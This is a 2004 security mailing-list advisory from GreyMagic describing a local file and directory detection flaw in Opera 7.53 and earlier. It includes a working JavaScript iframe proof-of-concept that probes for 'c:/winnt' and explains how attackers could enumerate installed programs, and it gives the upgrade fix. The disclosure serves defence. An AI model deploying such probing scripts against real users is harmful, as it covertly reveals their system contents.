[NEWS] Opera Local File/Directory Detection

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To: list@securiteam.com
Date: 17 Aug 2004 17:33:02 +0200

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  Opera Local File/Directory Detection
------------------------------------------------------------------------

SUMMARY

While working on a proof-of-concept exploit for the previous Opera
<http://www.greymagic.com/security/advisories/gm008-op/> advisory
GreyMagic needed to find a way to detect the victim's system root
directory, in order to locate a specific resource that's required for
exploitation. After a bit of investigation, we found that we can easily
determine whether a directory (or file) exists or not.

DETAILS

Affected applications:
 * Opera version 7.53 and prior on Windows, Linux and Mac.

When a non-existent file or directory is assigned to an iframe, an error
is thrown to the user and the actual location of the iframe does not
change.

This situation can easily be detected by an attacker using an accessible
iframe (within the same domain). By changing its URL to the location of a
file or directory and then checking whether an error is thrown when trying
to access its DOM, the attacker can determine whether the resource exists.

Exploit:
The following sample code determines whether the directory "c:/winnt"
exists:

< iframe src="blank.html"></iframe>
< script type="text/javascript">
onload=function () {
    var sLocal="c:/winnt";
    frames[0].location.href=sLocal;
    setTimeout(
        function () {
            try {
                frames[0].document;
                alert(sLocal+" does not exists.");
            } catch (oErr) {
                alert(sLocal+" exists.");
            }
        },
        250
    );
}
</script>

An attacker is likely to run this against a group of directories in order
to find the right one or determine whether specific programs are
installed.

Demonstration:
Proof-of-concept demonstrations of this issue can be found in GreyMagic's
<http://www.greymagic.com/security/advisories/gm008-op/> previous Opera
advisory.

Solution:
Update to Opera version 7.54 or newer.

One of the changes in Opera 7.54 was to completely block access to the
file:// protocol from non-local URLs. That change also happens to protect
against this vulnerability.

ADDITIONAL INFORMATION

The information has been provided by <mailto:security@greymagic.com>
GreyMagic Software.
The original article can be found at:
<http://www.greymagic.com/security/advisories/gm009-op/>
http://www.greymagic.com/security/advisories/gm009-op/

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